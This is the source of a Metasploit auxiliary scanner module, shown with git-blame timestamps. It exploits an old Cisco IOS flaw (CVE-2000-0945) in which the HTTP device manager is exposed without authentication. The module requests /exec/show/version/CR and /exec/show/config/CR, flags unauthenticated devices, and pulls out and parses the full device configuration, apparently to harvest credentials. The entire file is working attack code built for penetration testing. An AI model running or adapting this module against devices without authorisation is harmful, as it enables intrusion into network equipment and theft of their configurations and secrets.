2010-12-11 07:37:09 +00:00
|
|
|
##
|
2010-12-11 07:49:22 +00:00
|
|
|
# $Id$
|
2010-12-11 07:37:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
# Exploit mixins should be called first
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
# Include Cisco utility methods
|
|
|
|
include Msf::Auxiliary::Cisco
|
|
|
|
|
|
|
|
# Scanner mixin should be near last
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2010-12-11 19:54:47 +00:00
|
|
|
'Name' => 'Cisco Device HTTP Device Manager Access',
|
2010-12-11 07:37:09 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module gathers data from a Cisco device (router or switch) with the device manager
|
2010-12-11 19:54:47 +00:00
|
|
|
web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify
|
|
|
|
authentication.
|
2010-12-11 07:37:09 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2010-12-11 07:49:22 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-12-11 07:37:09 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '1846'],
|
|
|
|
[ 'CVE', '2000-0945'],
|
|
|
|
[ 'OSVDB', '444'],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 26 2000'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "/exec/show/version/CR",
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
2010-12-11 19:54:47 +00:00
|
|
|
|
|
|
|
if res and res.code == 401
|
|
|
|
print_error("#{rhost}:#{rport} Failed to authenticate to this device")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if res and res.code != 200
|
|
|
|
print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-12-11 07:37:09 +00:00
|
|
|
if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/
|
2010-12-11 19:54:47 +00:00
|
|
|
print_good("#{rhost}:#{rport} Successfully authenticated to this device")
|
|
|
|
|
|
|
|
# Report a vulnerability only if no password was specified
|
2010-12-18 18:55:36 +00:00
|
|
|
if datastore['BasicAuthPass'].to_s.length == 0
|
2011-02-02 17:42:23 +00:00
|
|
|
|
2010-12-11 19:54:47 +00:00
|
|
|
report_vuln(
|
2011-02-02 17:42:23 +00:00
|
|
|
{
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
|
|
|
:name => 'IOS-HTTP-NO-AUTH',
|
|
|
|
:info => "http://#{rhost}:#{rport}/exec/show/version/CR",
|
|
|
|
:refs => self.references
|
|
|
|
}
|
2010-12-11 19:54:47 +00:00
|
|
|
)
|
2011-02-02 17:42:23 +00:00
|
|
|
|
2010-12-11 19:54:47 +00:00
|
|
|
end
|
2010-12-11 07:37:09 +00:00
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => "/exec/show/config/CR",
|
|
|
|
'method' => 'GET'
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi
|
|
|
|
config = $2.gsub(/<\/[A-Z].*/i, '').strip
|
|
|
|
print_good("#{rhost}:#{rport} Processing the configuration file...")
|
|
|
|
cisco_ios_config_eater(rhost, rport, config)
|
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|